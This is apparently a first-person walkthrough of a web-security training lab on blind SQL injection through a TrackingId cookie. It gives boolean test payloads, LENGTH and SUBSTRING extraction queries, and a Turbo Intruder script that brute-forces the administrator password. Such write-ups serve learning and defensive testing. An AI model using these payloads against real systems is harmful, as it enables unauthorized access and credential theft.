Blind SQL Injection with Conditional Responses
Scenario Analysis
The vulnerable parameter here is TrackingId, which sits inside the Cookie header. The server uses it directly in a SQL query behind the scenes.
I quickly noticed that:
- When the injected condition is true (returns at least 1 row), the page includes the text
Welcome back. - When it's false (0 rows), that text disappears.
That difference is all I need to exfiltrate data one character at a time. The goal: extract the administrator password from the users table and log in at /login.
Confirming the Vulnerability
I intercepted a request to / and sent it to Repeater. Then I modified the TrackingId to run a basic boolean test:
True condition:
GET / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: TrackingId=ORIGINAL_ID' AND '1'='1; session=YOUR_SESSION
Welcome back is present — the condition was evaluated as true.
False condition:
GET / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: TrackingId=ORIGINAL_ID' AND '1'='2; session=YOUR_SESSION
Welcome back disappears. Blind SQL injection confirmed.
Determining Password Length
Before brute-forcing the characters, I needed to know how long the password is. I injected a LENGTH() check:
Cookie: TrackingId=ORIGINAL_ID' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=1)='a; session=YOUR_SESSION
I incremented the value manually — =1, =2, =3... until Welcome back reappeared. It came back at 20.
The password is exactly 20 characters long.
Extracting the Password with Turbo Intruder
With the length confirmed, I moved on to character extraction. I opened Turbo Intruder from Repeater — right-click → Extensions → Turbo Intruder → Send to Turbo Intruder.
In the upper window, I set up the HTTP template with %s placeholders for the position and the character to test:
Cookie: TrackingId=ORIGINAL_ID' AND SUBSTRING((SELECT password FROM users WHERE username='administrator'), %s, 1) = '%s; session=YOUR_SESSION
Then in the lower window, I pasted the automation script:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=100,
pipeline=False)
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'
for pos in range(1, 21):
for char in chars:
engine.queue(target.req, [str(pos), char])
def handleResponse(req, interesting):
if 'Welcome back' in req.response:
table.add(req)
I hit Launch attack and within seconds the results table showed exactly 20 hits — one correct character per position.
Authentication
I put the 20 characters together in order, navigated to My account (/login), logged in as administrator with the extracted password, and the lab was solved.
Lab solved! 🏴
